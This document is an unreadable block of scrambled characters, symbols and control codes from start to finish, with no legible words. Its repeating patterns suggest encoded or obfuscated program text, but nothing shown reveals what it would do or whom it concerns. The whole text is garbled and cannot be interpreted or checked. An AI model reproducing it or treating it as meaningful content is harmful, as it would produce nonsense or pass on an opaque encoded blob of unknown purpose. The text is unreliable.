^E__Z[DET2_\_\E__ZZDDDMM^22EDVggMMMME2[
^E__ZUDE2[
^E__ZTDDDM
22
2EDVgMMME]]
X_E__ZUDE]]
X_E__U]DDDMMMM	2
2EDVggggMMMMMET2_\_\E__]\DE]]
X_E__U\DDMKKM[_
 E\^\TDE]]
X_E__U\DAMMMMM[_
 E__U_DDDM!>	2.2,=$WW
2EDVgMMMMMMMMMET2_\_\E__]\DE[_
 E__U^DDMKKMMMT2_\_\E__UYDE]]
X_E__U^DAMM]]
X_E__UXDDDM/2=
.WW22EDVggME]]
X_E__]\DET2_\_\EXZTDDMMMMMKKMT2_\_\E__UYDE2[
^E__U[DAMMMMMT2_\_\E__UZDDDMMM.2(WW22EDVgME[_
 E__ZUDE2[
^E__UUDDDM222EDVgggMMMMMMEEI*!"/,!>62[
^E__UTD0DMKKMM]]
X_E__T]DEI*!"/,!>6T2_\_\E__T\D0DMMMMKKMMT2_\_\E__T_DEI*!"/,!>6T2_\_\E__T^D0AM]]
X_E__TYDDDMI*!"/,!>62[
^E__T^D0@S	.EDVgMMMMME2[
^E__ZUDE2[
^E__TXDDDMM222EDVgMMET2_\_\E__]\DET2_\_\E__T[DDMMKKMMMMM]]
X_E__T_DE[_
 E__T[DAMM]]
X_E__TZDDDMMMM .WWEDVgMM]Y\
\[ZE2[
^EYZXDAMM[_
 E__TUDDVgMMMMMMMMME9MMI

ZDMMMgM]Y\
\[ZET2_\_\EYZXDAMI

ZDVgMMMMMMMMMME(MMMI

ZDMgMggMMgMMT_ZTZEDgMMMgMMMMME2[
^E__TTDE[_
 E_^]]DDMKKMM2	 EDDMMMMMVgMMMMMMMMMMMMET2_\_\E__TTDE[_
 E_^]\DDMMKKMMMMM2	
2EDDMMMVgMMME		E[_
 E_^]_DDMMMMMMKKMM?(>92?(<8(>9DMMMMMMVgMMMMMME		E2[
^E_^]^DDMMKKM5 !?=.2?(<8(>9DMMMMMMMMVggMME2[
^E_^]YDE]]
X_E_^]XDDMMMKKMMM2	EDDMMMMMMVgMMMME]]
X_E_^]YDE2[
^E_^][DDMMKKM2EDDMMMMMMVI	

\^ 	PYX[VI\

ZPEI	

\^ 	S]DRI	

\^ 	W@I	

\^ 	VgMggMMMMET2_\_\E_^]YDE2[
^E_^]ZDDMMKKMM2 EDDMMMMMMMVgMMMMMET2_\_\E_^]UDE2[
^E_^]TDDMMKKMM2 2EDDMMMMMMVI^

2PZ^\TYVIUZ[PI^

23_YYVgMMMMMMEEI2*(962[
^E_^\]D0DMMEI2*(96]]
X_E_^\\D0DMMMMMMEI2*(96[_
 E_^\_D0DDMMMVgMMMMVggMMMMM2XZ	
[XU	U EDgMMMMgMIY]^\2XMMPMMMMMEEI*!"/,!>6[_
 E[TZD0DMMMKKMM[_
 E_^\^DEI*!"/,!>6]]
X_E[TZD0DDMMMMMRMMMM[_
 E__X_DEI*!"/,!>6T2_\_\E[TZD0DMMMWMMMOOVgMMMMEIY]^\2XMMPPPMMOODMMMMMMOOVggMMMMMMIY]^\2XMMMMPMT2_\_\E\T_[DET2_\_\E_^\YDAM[_
 E_^\XDAMMMMIY]^\2XDVgMMMMI\[][_
\[
YMPMMM2[
^E_^]UDET2_\_\E__[\DDMRME
DMT2_\_\E__[_DE 2EDAMMMM=%=28?!2%">9DMWMOOVgMMMMMI\
^	MMPMMMT_
	
  \XET2_\_\E_^\[DEI\[][_
\[
YDAMME\FXDDVgMI2
 [Z^_MPMMMM]]
X_E_^\ZDE2[
^E__^^DEIY]^\2XDAMM]AME]YF]_DDVgMMMMMMMMMMMMO1QM	@P1OOMMMMCMMMMMI\
^	MMMCMMMMMJ@JMCMI2
 [Z^_MMMCMO1OS1OMMMCMIY]^\2XMMCMMMO1QBS1QL@@MOMMCMMMMI\
^	MMCMMMJ@JMCMI2
 [Z^_MMMMMMCMMMOM@@S1OVgMgMMT  ]U ^ EDggMMMMMMgMMMgMMMMET_ZTZEDDMVgMMMMI	Y[2]YUMPMMMM2XZ	
[XU	U EDVgMMEI	Y[2]YUMMMPPPMOODMMMVggggMMMMMMMI	Y[2]YUVgMMI*!"/,!>6[_
 EX_XD0MPMMVgMMMMMET2_\_\E_^\UDE]]
X_E__[YDDMKKMM[_
 E_^\UDE2[
^E\Z[UDDMKKMMM EI*!"/,!>62[
^E_^\TD0DDMMMMMgMMMI*!"/,!>6]]
X_E_^\TD0MPMMMVgMgggMI
	X
 	MMMMMMPMMEDM-
2E[_
 E_^_]DAM]DVgggMMMME]]
X_E__Y^DEDMM@MMMI
	X
 	MMMMSMMEZF_T^DDMM-	2E2[
^E_^_]DAMMMM]]
X_E_^_\DEDAMMM[_
 E_\[TDDVgMEI
	X
 	DVgMMMMMMMgMMMMMME9MMMMMI

ZDMgBGM MMGBggMMMMM]Y\
\[ZE[_
 EZTZDAMMMMMI

ZDVgMMMMME(MMMMI

ZDMMMgMMgMMMgMZ UU^\]_EI2_\_DgMMMMgMMELT2_\_\E_^__DEI2_\_DMMMMMMMMMMMMI2_\_MPPPMMMOODMMMMMMMMI2_\_VgMEL EI*!"/,!>6T2_\_\E_^_^D0DDMMMI2_\_VgMMMMMMMI	Y[2]YUMMPMMMM2XZ	
[XU	U EDVgMMMMMMMEI	Y[2]YUMPPPMMOODMMMMMMI2_\_VgMMMMEEI2_\_AMMM2[
^E_^_YDDMMMMPPPMMMKKMMMEI2_\_AMM2[
^E_^_XDDMMPPPMMMMDMMMMMMMI2_\_VggggMMI*!"/,!>62[
^E_^_[D0MMMMPMMVgMMMMI*!"/,!>6T2_\_\EX_ZD0MPMVgggMMMIX	\]MMMMPMEI2_\_AMMT2_\_\E_^_ZDDVgMMMEIX	\]MLPPMDMMMMMMgMM]]
X_E_^\ZDEI2_\_AMMMM]AMMMIX	\]DMMMMMMCMI	Y[2]YUMMCM]]
X_E_^_UDEI2_\_AMMMMMMIX	\]DVgggMMMgMMMMMMMMI2_\_MCMMMI	Y[2]YUVgMgMMMMMMMTTZ\[
_XEDgMMMgMggggMMMMMET_ZTZEDDMMVgMMEL EI*!"/,!>6[_
 E_^_TD0DDMMMVgMMMMMIY]^\2XMPMMMMMEEI*!"/,!>62[
^E[TZD0DMMMMMKKMMMT2_\_\E_^__DEI*!"/,!>6T2_\_\E[TZD0DDMMMRM[_
 E__X_DEI*!"/,!>6T2_\_\E[TZD0DMWMMOOVgMMMMMMMEIY]^\2XMMMMPPPMOODMMVgI*!"/,!>6]]
X_E_^^]D0MMMMPMMMMVgMMMMM-]]
X_E_^^\DE]]
X_E_^^_DDVgMMMME9MMMMI

ZDMMMgM]Y\
\[ZE2[
^E_^^^DAMMMMI

ZDVgMMMMMMMMMME(MMMI

ZDMggMMMgMMMMMMMMZ
Y]\[Y2EDgMMMgMMMMMMMgBGMM	@MGBgggggMMMMMMEL2	 EDMMMKKMELEI*!"/,!>6[_
 E_^^YD0DMMMMMMMMI*!"/,!>6[_
 E_^^XD0MMLPPMMM[_
 E[]ZDDDMVgMMME]]
X_E_^\UDET2_\_\EX\YDDMKKMML2EDDMVgMMIZ2[U MMMPMU2\_Y^ _E2[
^EX^\DAMMOODVgMMMI\
^	MPMMMT_
	
  \XE,/>=,9%MCMM[_
 E_^^[DAMME\_@[DDVgMMMI\TMPMMMMMM[_
 E\Z]\DVgMMMMMMEIZ2[U MMPPPMMMOODMMgMMMET2_\_\E_^\UDE[_
 E__[YDDMMMMMKKMMMEDM-
2ET2_\_\EX^UDAM]DDMMMg-	2ET2_\_\E_^^ZDAMMMM]AMM[_
 E_\[TDDVgI[^ 2YMMPMME
DMM-
2E2[
^E_^^UDAMMOODVgMMMMMO1OMMCMMMM2[
^E_^^TDMMMCMI\
^	MMCMJSJgCMM[_
 E_^Y]DgMMCM]]
X_E_^Y\DMMCMMMMI\TET2_\_\E_^Y_DDMMCM[_
 E_^Y^DgggMCMT2_\_\E_^YYDMMCMM]]
X_E[X^DEI[^ 2YDMMMMCMJVJgMMMMCMM2[
^E_^YXDMMMCMMI\TE]]
X_E_^Y[DDMMMCMMT2_\_\E_^YZDgMCM[_
 E_^YUDMMCMI\TE]]
X_E_^YTDDMMCMMM2[
^E_^X]DMMMMCMI\TE]]
X_E_^X\DDMCMM2[
^E_^X_DMCMI\TE]]
X_E_^X^DDMCMM]]
X_E_^XYDMMMCMMMI\TE2[
^E_^XXDDMCMMMM]]
X_E_^X[DggCM2[
^E_^XZDMMMCMMMI\TE]]
X_E_^XUDDMMCMM]]
X_E_^XTDMCMMI\TE]]
X_E_^[]DDMCMMT2_\_\E_^[\DgMCMM[_
 E_^[_DMMMCMO1OVggggEI[^ 2YDVgMMMMMggMMMMMMVgggggIZ2[U MMMMPMM2[
^E\T_[DE[_
 E\^X_DAMT2_\_\E_^[^DAMIZ2[U DVIX_\\PE]^F]DVI]U[PIX_\\H\[VgMMMME]]
X_E_\T\DEIZ2[U AM2[
^E_^[YDDMLPPM]DMMMIZ2[U MMPMMT2_\_\E_^[YDMMMMMCMM[_
 E\^U[DEIZ2[U AMMJBJDVgI_X_]
^Y]MMMPMJBJVgMMME[_
 E_^\UDET2_\_\E__[\DDDMgMMMMMMMI^2[_MMMMMMPME
DMT2_\_\E__[_DE 2EDAM=%=28?!2=,9%DVggggMMEI^2[_MLPPMMMOOMKKMMMMI^2[_MLPPMMJBJDMMMI_X_]
^Y]MMMPMM2[
^E_\T[DEI^2[_AMMMMMJBJDMMMMMCMJBJVgMMggMgMMMMMET2_\_\E_^\UDE2[
^E\Z[UDDDMMgBBM-Mgg-	2ET2_\_\E_^^ZDAMMM\AM]]
X_E_\[TDDVgMMMMMMM-	2E]]
X_E_^^UDAMIZ2[U AMMT2_\_\E_^[XDDVgMgMMMMMMI[T
]^ MMMPMMM[_
 E_^[[DMCMMMI\
^	MCMMMMMJSJgMMCM]]
X_E_^[ZDgCMMM[_
 E_^Y\DMCMMI\TE]]
X_E_^[UDDMMMCM2[
^E_^[TDgMMMMMMMMCM2[
^E_^Z]DgCMM]]
X_E_^Z\DMMCMMMMI\TE[_
 E_^Z_DDMMMMCMMT2_\_\E_^Z^DMCM]]
X_E[X^DEIZ2[U DMCMMMMMMJDJggggMMCMM]]
X_E_^ZYDMMCMMMMMMI\TE]]
X_E_^ZXDDMMCMMMT2_\_\E_^Z[DMCMMMMMMT2_\_\E[X^DEIZ2[U DMMMCMMM]]
X_E_^ZZDMMCMMM2[
^E[X^DEI_X_]
^Y]DMMMCM[_
 E_^ZUDMCMI\TET2_\_\E_^[]DDMMCMMMMT2_\_\E_^ZTDgMMCMM[_
 E_^U]DMMMMCMMMMI\TET2_\_\E_^U\DDMCM2[
^E_^U_DgMMMCMMMMT2_\_\E_^U^DMMMMMCMMMI\TE[_
 E_^UYDDMCMMMT2_\_\E_^UXDMMMCMMMMI\TE2[
^E\[[DDMMMMCMM[_
 E_^U[DgMMMMCMMMM[_
 E_^UZDMMCMMMI\TE2[
^E_^UUDDMCM[_
 E_^[TDgMMMCMMMM2[
^E_^UTDgMMMMCMMT2_\_\E_^T]DMCMMMI\TE2[
^E_^T\DDMCMM[_
 E_^T_DgMMMMCMM[_
 E_^T^DMMCMMMMI\TE[_
 E_^YTDDMMMMCMT2_\_\E_^TYDMCMMMMI\TE]]
X_E_^TXDDMMCMM[_
 E_^T[DgMMMMCMM[_
 E_^[_DVgMMO1OMMMCMMI[T
]^ MMCMMMMO1OVgMMMMMMMME9MI

ZDMMggggM]Y\
\[ZE[_
 E_^TZDAMMMI

ZDVgMMMMMMMME(MMI

ZDMgMM]Y\
\[ZE[_
 E_^TZDAMI

ZDVgMgMgMgMME^[XEDDMMggMMMMMMVgMMMMgMMMMMM\ __EDVggggMIT2TMMMMMPMMM-]]
X_E__\ZDETXXEDDVgMMELIT2TMMMMMEIT2TMHMMETTTZ_F_UDDMMMLPPMMMM\YTYEDDMMgMMI X MPMM2[
^E_^_\DEDVggggMMMMM[]^^
_ETXXEDAMMMEI X MMMM@MMEI X MMHMMMETZUU_F_\\UDDDMMFMM\YTYEDDVgMMMMMMEI X DVggMMggggMMMMMMEIT2TDVgMMgMMMI2TMMMMPMMM22+$!(22VgMMI2\U
YMPMMMMMMOOVgMI[	]
2MMMMPMMMM-T2_\_\E___XDEI2TAMAMMAM]AMMME\UXUF__^UDDVgMMMMET2_\_\E_^__DEI[	]
2DMKKMMMM2[
^E_^TUDE[_
 E_^TTDAMMMI[	]
2AMMMMI
Z\ 	DDMMI2\U
YMMMMMPMI
Z\ 	6\0VggMMMMMMEI2\U
YMMMLPPMMMOOMMMKKMM		E]]
X_E_\XTDDDMMMMMgI
MPMEDVggIXXMMPM		ET2_\_\E\TT_DDMMRMMMMMM:= 82=!8*$#2)$?MMMMWMMMM:=2."#9(#92)$?MMMCMT2_\_\E\XDVgMI\X	MMMPMMM		ET2_\_\EU__DDMRM:=2=!8*$#2)$?MWMM:=2."#9(#92)$?MCMMMT2_\_\E\[Z[DVgMMMMMMMIT_Z] [2MMMPMMVgMMMMMMMME[_
 E_^\UDET2_\_\E_]T^DDDMMMMgMMMI2[^MPMM-T2_\_\E\^T\DEIXXDMMRMM-]]
X_E_]T^DEIXXMMMCMM2[
^E\TTYDDMMMMWMMVgMMMMI^
ZMMMMMMPMM-]]
X_E_]T^DEI\X	MMMMCMM]]
X_EYU[DDVgMMMME]]
X_E_Y]]DEI2[^DMMMMT2_\_\E_Y]]DEI^
ZDDMMMggggMIT_Z] [2MMPMMVgMMMMMMMMMEEDMMMI2[^MMMMMMIXDMMMI
60MPMIXVgMMMMEEDMMI^
ZMMMMMIXDMI
60MMPMIXVgMMMgEI2[^AMMMMMMI^
ZDVggBBM?	MMWM	MgggggMMMMMMMMMMELIT_Z] [2DMMMMgBBM:=M?9M,=$WM	 M
ggMI]]\		XMPMM-[_
 E\^T\DEIXXDMRMM\YEIXXDMWMMMMVgMMMME[_
 E_Y]]DEI]]\		XDDMMMMMEI]]\		XMMMMMI^Z]_XDMgMMMME2[
^E_^_UDEI^Z]_XAMMMMM@E]^F]\DDMPPPMMMM]]
X_E_Y]\DDMI
60MMMMMPMMMIXXMCMJBJMMCMMMI^Z]_XVggMMgMMI]]\		XMPMMMM-2[
^E\^T\DEI\X	DMMMRMMMMMM\YEI\X	DMWMMVgMMMMMMggMMMMME2[
^E_Y]]DEI]]\		XDDMMMMEI]]\		XMMMI^Z]_XDMMgMMI	U
MMMMMPMMMI\X	MCMJBJMMCMMI^Z]_XVgMEL-T2_\_\E\^T\DEI	U
DDMVgMI_[MPMM\YEI	U
DVgMMMEL2[
^E_Y]]DEI_[DDMMVgMMMMMEI_[MMMMMMMMMI
__^

[^DMMMMgMMMME2[
^E_^_UDEI
__^

[^AMMMM@E]_F]_DDMMMPPPMMT2_\_\E_Y]_DDMI
60MMMPMI	U
MMMCMMJBJMMCMMI
__^

[^VggggMgBBMM

gggMMMMMEI]]\		XAMI^Z]_XAMMI
__^

[^AMMI	U
AMI_[DVgMMggMMMMMgMMMMI2[	_MPMMMT2_\_\E___YDEI2TAMM[_
 E_Y]^DDVgMMEI
MMMMMMIXDMgMMEIXMPPPMMMMMI2TDMVgI^XMPMMMMMM-T2_\_\E__\ZDEIXDVgMMELI^XMMMEI^XMMHMMMETTT\\FUTDDMMMLPPMMMET^ZZ[FY^DDMMgMMMI^]U T^[MPM-]]
X_E__^[DEIXDVgMMELI^]U T^[MMMMMI^]U T^[MQMMEYT]F\]DMMMMMMI^]U T^[MMMSMME[_X^Z\ZT@\]\]U^ZTDDMVgMMMMMMgMMMMMMI[	]
2MMMMPMMM-T2_\_\E_Y]YDEIXAMMMAMMMMAMM]AMMMEY]XUF^UDDVgMMMMMMMMMMMMMEL[_
 E_^__DEI[	]
2DMMMMMT2_\_\E_Y]XDEI[	]
2AM[_
 E\T\]DDMMPPPMDMMMMVgMMMMMMMMEL]]
X_E_^TUDET2_\_\E_Y][DAMI[	]
2AMMMI
Z\ 	DDMMMMMMVggMMMME]]
X_E_Y]ZDEIXAMMT2_\_\E_Y]^DDMPPPMMI2[	_MMMKKMMI
Z\ 	6\0MPPPMI2\U
YDMMMMMggggMMELUY2 \EIXDDMMMgMMMMMMME X 
Y\^	EIXAMMMIXMMMMMCMMM[_
 E_]]\DDMMMKKMMT2_\_\E_^\UDET2_\_\E_Y]UDDDMMMMM-2	EIXAMMDVgMMMgMVgMgMMMMME2 EI
Z\ 	6\0AMI2\U
YAMJQJDDMMMgMMMI[
[MMMMPMMM	TZ^_Z][UEIXDVgMMMMMMMEI[
[MMMMPPPMMDMMgMMMMM]Y\
\[ZE2[
^E\T^_DAMM[_
 E_Y]TDMMCMM[_
 E_Y\]DEIXDDVgVgggggMMEI[
[MMMPPPMMMMDMMgMME X 
Y\^	EIXAMMIXMMCMMMM2[
^E_]]\DDDMMgMMMMMME]]
X_E_^\UDET2_\_\E_Y]UDDDMM-2	EIXAMMDVgMMgggMMMMM-]]
X_EZX[DE[_
 E_]]YDEIXDMMMMCMMM2[
^E_Y\\DMMCM2[
^E_Y\_DEIXAMM]]
X_E_Y]^DDDVgVggMMMgMM-]]
X_EZX[DEIXDVI
X[UTP=%=2 ,'"?2;(?>$"#VIZYU\PI
X[UTG^VgMMMM-2[
^E_Y\^DET2_\_\E_Y\YDEIXDMCM]]
X_E_Y\\DMMMCMMMMMM]]
X_E_Y\_DEIXAMT2_\_\E_Y\XDDDVgMMMME[_
 E_Y\[DE2[
^E_Y]UDDDMMM-2	EIXAMDVgMMVggMMMMMMI\YMPMME2[
^E_Y\_DE]]
X_E_Y\YDEIXDDMMPPPM]]
X_E_Y\ZDMMMMM]]
X_E_Y\YDEIXDMMMPPPMMMMIXXDVgggMMMMELI\YMMMMKKMMM]]
X_E_Y\UDE2[
^E__[YDDDMMMgMMMI]Z	MPM[_
 E_Y\TDE2[
^E_Y\YDEIXDDMCMMMMJBJMCM]]
X_E_Y\TDEIXDVggggMMI	U^	MMMPMMEDM-
2E2[
^E__^_DAMEDDVgI\YMMMMMMPMMMM2[
^E\_YZDEI]Z	AMMMI	U^	AMMMMMMDVgMELI\YMMMMKKMMMMT2_\_\E_Y\UDE]]
X_EX\[DDMMMKKM2 EDMMMKKMMMMMM2[
^E_Y\UDE[_
 E_Y_]DDDMMMMgI^Y2[ZMMMMMPMEDM-
22E2[
^E_\ZDAMEDDVgMI\YMMPMMMEI^Y2[Z6I]Z	0DVgEI^Y2[ZDVgMgggEI]Z	AMI	U^	DVgMMMMMgMMMMELI\YDMMVggggMMMMME2 EI
Z\ 	6\0AMI2\U
YAMMJSJDDMMMMMgMMMMEUY2 \EIXDMMMKKML[T [2_UEIXDDMMVgMMI_
X
 MPMMMMM2[
^E_Y_\DEIXDMMMMMCMMM2[
^E_Y__DMCMMMMM[_
 E__^^DEIXDVgMMMMME-T2_\_\E__^XDEI_
X
 DMMMKKMMMEDMM-T2_\_\E__\ZDEI_
X
 DMMQMMM[_
 E_^_\DEDMMM@MMME^UF__DDMMgMMMMI	2]MPM]]
X_E_Y_^DEJJAME
DMM-2[
^E_Y]YDEI_
X
 DDVgMMMMMME2[
^E\X\TDEI	2]DMMMMQM_MMMI	2]6]0MMMMLPPMMMI
Z\ 	6\0MMMMMEDMI	2]6\0MLPPMMMMEDM-T2_\_\E__^[DEIXDDMgggMM-[_
 E_Y\^DEI_
X
 DVgMMMMMMMMVgMMMMMMgMMMME	TZ^_Z][UEIXDMLPPMDMMMMMMgggMM    ^U]EIXAMME^XYF[[DDVgMMMME__2EIXDDMMMggggM-T2_\_\E_Y_YDEI_
X
 DVggggMMMMMET2_\_\E_Y\UDE[_
 E_Y]UDDDMM-2	EIXAMMMDVgMggMMVgMMMMg-T2_\_\E\T\YDEI_
X
 AMMI
Z\ 	6\0MCMJJMCMMMMEDM-]]
X_E_Y_XDEIXDDVgMMMMMVgMgggMMMMMMMMMMMMMEI
Z\ 	6\0MPPPMI2\U
YDMgMMMMMMI2
^
_2MPMMMMM[]	ZU_T[EDVgMIXT	_MPMVIX_2PE]	F]_[DVITYPIX_2H\YVgMMEL EI2
^
_26T2_\_\E_Y_[D0DDMMgMMMMMMMI
YT	[MMMMMMPM-2[
^E_Y_ZDEI2
^
_26[_
 E_Y_UD0DVgMMIT[T
Z	\MMPMM-2[
^E_Y_ZDEIXDVgMMMMMMME]]
X_E_^__DEI
YT	[DMKKMMM[_
 E_^__DEIT[T
Z	\DMMMKKMMMMMMI
YT	[MPPPMIT[T
Z	\MMMMKKMMU ^ U
EI2
^
_2DMMMMMPPPMMMMMT2_\_\E\T]^DMMMMKKMMMMUY2 \EIXDDMMMVggggMMMMMMMME[_
 E_^__DEI
YT	[DMKKMI
YT	[MMMMMPPPMM-T2_\_\E_Y_TDEI2TDDMMIXT	_MMMMPMMMVgggggBBM- M	gggMMMELIXT	_MKKMLUY2 \EIXDDMMMMMMgMMME[T [2_UEIXDMMMMMM	TZ^_Z][UEIXDMLPPMMMMDMMMMgMMME X 
Y\^	EIXAMMMMIXMMCM]]
X_E_]]\DDMKKMM2[
^E_Y^]DE[_
 E_Y]UDDDMM-2	EIXAMMDVggBGMMMGBggMMMEI2
^
_2AMMMMIXT	_AMMI
YT	[AMMMIT[T
Z	\DVgMMVgggggMMMMMELIXT	_MMMMMKKM]]
X_E_Y^\DE2[
^E__^^DE[_
 E_Y\TDEIXAM]]
X_E_Y^_DDDAMM]AME^FTDDMMSMMMMMT2_\_\E_Y^\DE2[
^E_Y^^DEI2[	_DAMM]AMMMMME_\\3__^DDDMVgEI2
^
_2AMMMIXT	_AMI
YT	[AMMMMIT[T
Z	\DVgMMMMMggggMMMMMgggggMMEI2TAMI2\U
YAMMMMMMI[	]
2AMMMI
Z\ 	AMI
AMMMMIXXAMMI\X	AMMIXAMI^XAMMMI2[	_AMMMMI^]U T^[AMMI[
[AMMMMI_
X
 AMI	2]DVgMMMMME9MI

ZDMMMgMMMMMMMMMMMMME(MMI

ZDMgggMgMMMMMMMMEEI*!"/,!>6]]
X_E\ZYD0DDMMgBBM	MggMMMMME2 EE
DMMI*!"/,!>6[_
 E\ZYD0AMMT2 _U_ EDAM[_
 E\TUDDDMMMMVgMI*!"/,!>6T2_\_\E_]_YD0MPMMMMM\VgMMMMMMMMMMME		E[_
 E_Y^YDDDMgMMI YMPMME]]
X_E_Y^YDDVgggMMME]]
X_E_^__DEI YDMKKM[_
 E_^TUDE2[
^E_Y^XDAMI YDMMMMMKKM2 EI YAMT2 _U_ EDAM[_
 E_Y^[DDDMMMMMVgMI*!"/,!>6]]
X_E_]_YD0MPMMMM\VgMMMMMMMEI YDVgMMMMgMMI*!"/,!>62[
^E_Y^ZD0MPMMMT2 _U_ EDVgggMME[_
 E_Y^UDE2[
^E_Y^TDDDMM-EAMMMMTXXEDDVgMI*!"/,!>6]]
X_E\ZXD0MMPME
DMMM-]]
X_E_Y_XDETXXEDDMMCMJWJMMMMMCME
DM-[_
 E_YY]DETXXEDDVggMMMMEL		E2[
^E_Y^YDDDMM	ET2_\_\E_YY\DAMMT2 _U_ EDDVgMMMMMEL		E[_
 E_YY_DDDM	E]]
X_E_YY_DAMMMT2 _U_ EDDVgM2TT 
E]]
X_E_^]DDVggggMMMMg	
TX
ETXXEDDVgMMMME]]
X_E_YY^DE[_
 E_YYYDDMMKKMM2[
^E_YY^DE[_
 E_YYXDDDMMgMMMMgMIUX] [MPMM	2	TY_
TEDVI2UP__]_Y[VI
^	 PI2U3_XVgME-T2_\_\E\^T\DEIUX] [DDMMMgBBM:=M 	M9M/MMgggMMMIX  	Y__ZMPMM	 U[\EDVgI\Z^ 2MMMPMMMM\YEIUX] [DVgMMMMMMME]]
X_E_Y]]DEI\Z^ 2DDMMMgMMMMEI\Z^ 2MMMMMMI	Y^_UDMMgMMMMMMMMEI	Y^_UMPPPMMIX  	Y__ZDMMMVgMMME2[
^E_YY[DE]]
X_E_YYZDEI	Y^_UAMMME]]
X_EU]\DDDDMLPPMMT2_\_\E\_X_DDMMMMVggggI]22	X _MPMMMMMIUX] [MMMMMCMMJBJMMMMMMCMMMMMI	Y^_UVgMME-T2_\_\E__^XDEI]22	X _DMMKKM-2[
^E_YYUDEI]22	X _DMMMMSMMMME]UZUF]\]DMMMKKMMX_U2 EI]22	X _AME[ZUU@\ZUUDDDMMMggggMM]\U
	 ^	
EI]22	X _DVgggMMMgMgMgBBM	M M	 @gggMMMMMMMMME9MMMMMI

ZDMMMMMMgMMMM]Y\
\[ZE]]
X_E_^^DAMMMI

ZDVggMMMMME(MMMMMMI

ZDMMMgggMMMgMMMgMMMMMgMMELMYYU2  2\[EDDMMMI 2ZZY	P=%=2$#92 ,5B=%=2$#92 ,5VI2TPI 2ZZY	FTYVgMMMU		
E[_
 E_YYTDAM[_
 E_YX]DAMM\DVgMMMggMMMMMMMMgMMgMMMMI*!"/,!>6]]
X_EU^^D0MMPMEDVMMgI*!"/,!>62[
^E_YX\D0MMPMMEDVMMMMgMMI*!"/,!>6]]
X_E[TZD0MMMMPMMOOVMMMMgMMMMMME]]
X_E_YY^DET2_\_\E_]^_DDDMggggM2[
^E_]^_DET2_\_\E_YX_DDVgMMMT2_\_\E_]^_DE2[
^E_YX^DDVggIXZU MPMMMMMMT2_\_\E_Y_\DETXXEDDMCM2[
^E\ZTDMMMCMMMMMM2[
^E_Y\TDETXXEDAMMMMMT2_\_\E_YXYDDVggMME-]]
X_E__^XDEIXZU DDMMMMgMIZX^MMMMMMPMM]]
X_E_YXXDEE
DM-]]
X_E_Y]YDEIXZU DDVgMMMMMMMIZ  	MPM^]_^EDVgggMMMEIZX^MMMMPPPMOOMMMMMIZX^MLPPMMIZ  	DMMM__2EIXZU DVgMEIZX^AMMMIZ  	DVgggMgMMMMM-]]
X_E_YX[DET2_\_\E_Y_\DETXXEDDMMMCMM]]
X_E_YXZDMMMCMMT2_\_\E_YXUDETXXEDAMMMMM]]
X_E_YXYDDDVggMIT		MMPMMMM]]
X_E_YXTDMMMCMMMM^]_^EDVgMMMMMMMEE]]
X_E_Y_\DETXXEDDAMM	2	TY_
TEDDMMMI2UT\ZDMMMgMMMME-2[
^E__^XDEI2UT\ZMMMCMMJBJMCMMMMMMIT		DDM-[_
 E_Y_YDEI2UT\ZMMCMMMMMJBJMCMMIT		DVgMMMgMEIT		AMI2UT\ZDVgggMMMMMME9MMMI

ZDMMgMMMMMMMMMMMMMME(MMMI

ZDMMMMMMgMMMgBBM:=M/M;WMM@ ggMMMMEIXZU DVgMMMMMMgMMMMMU		
E]]
X_EUT_DAMMM[_
 E_Y[]DAMMM]DVgMU		
E[_
 EUT_DAMMMMMMT2_\_\E_Y[\DAM]DVgMMMMMU		
E[_
 E_Y[_DAMMM]]
X_E_Y[]DAMMM]DVgMMU		
E[_
 E_Y[^DAM2[
^E_Y[YDAMMMMM]DVgMU		
E]]
X_E_Y[^DAMMT2_\_\E_Y[XDAM_DVgMMU		
E]]
X_E_Y[[DAMM[_
 E_Y[ZDAMMME\F_DDVgMMMMU		
E]]
X_E_Y[UDAMM2[
^E_Y[TDAME\F^DDVgMU		
ET2_\_\E_YYTDAM2[
^E_YZ]DAME^F_DDVgMZ^Y[[  ^E2[
^E_YZ\DAMMMM2[
^E_YZ_DAMMMMMMEXFXDAMM\DVIYUP\Z[\_VIXUYT[PIYU3\ZVgMMMMMZ^Y[[  ^E2[
^E_YZ^DAMM]]
X_E_YZYDAMMMMMETF\DAM\DVggggZ^Y[[  ^E2[
^E_YZXDAMMMM2[
^E_YZYDAMME]YF][DAMMMMMM\DVggMMMMMZ^Y[[  ^E2[
^E_YZ[DAMMMM]]
X_E_YZYDAMMMMEZF^DAMMM\DVgMMMgMMZ^Y[[  ^E]]
X_E_YZZDAMM]]
X_E_YZUDAMME]\	[F]_\\DAME\]\3\]_DDVgMMU		
E[_
 E_YZTDAMMMMMT2_\_\E_YU]DAMMMMETZ[F_^DAMMMMM_DVgMgMZ^Y[[  ^E]]
X_E_YU\DAMM]]
X_E_YU_DDVgMMMZ^Y[[  ^E2[
^E_YU^DAM]]
X_E_YUYDAMMEZF^DAMM_DVgZ^Y[[  ^E]]
X_E_YUXDAMM2[
^E_YU[DDVgggMggggMMZ^Y[[  ^ET2_\_\E_YUZDAMM2[
^E_YUUDAMMME]UF]_DAM\DVggMggZ^Y[[  ^E2[
^E_YUTDAMMMMMM]]
X_E_YT]DAME^FZDAMMMMM_DVgMMMU		
E2[
^E_YT\DAMM]]
X_ET_ZDDVgMZ^Y[[  ^E]]
X_E_YT_DAMMM]]
X_E_YT^DDVgMMggggMMZ^Y[[  ^ET2_\_\E_YTYDAM]]
X_ET^[DDVgMMMMgMMMMMU		
E2[
^E_YTXDAMM[_
 E_YT[DAMM@ETU[F\^DDVgBBM	
MM
gI 2[Z_[^P=%=2 ,'"?2;(?>$"#VIX
^TUPI 2[Z_[^G_VgggMMMMU		
E2[
^E_YTZDAMMMMM[_
 E_YT[DAMM@ETUYF\XDDVgMMMMU		
ET2_\_\E_YTUDAMMMM]]
X_E_YTTDAMM@ET]ZFT_DDVgMMMgMMU		
ET2_\_\E_X]]DAMMMMT2_\_\E_X]\DAMMMETZUF_\DDVgMMU		
E[_
 E_X]_DAMM2[
^E_X]^DAMMM]DVgMMMMMMMMU		
ET2_\_\E_X]YDAMM2[
^E_X]XDAMMME\]\X@\[DDVgU		
E]]
X_E_X][DAMMMMMM2[
^E_X]ZDAMMETYXFXYDDVggMMMU		
E2[
^E_X]UDAMM]]
X_E_X]TDAMMMM_DVgMMMU		
E[_
 E_X\]DAMMM[_
 E_X\\DAMM]DVgMMMgU		
ET2_\_\E_X\_DAMMM[_
 E_X\^DAMM]DVgMU		
E2[
^E_X\_DAM2[
^E_X\YDAMM]DVgMgU		
ET2_\_\E_X\_DAMMMT2_\_\E_X\XDAMMMMM\DVgMMMU		
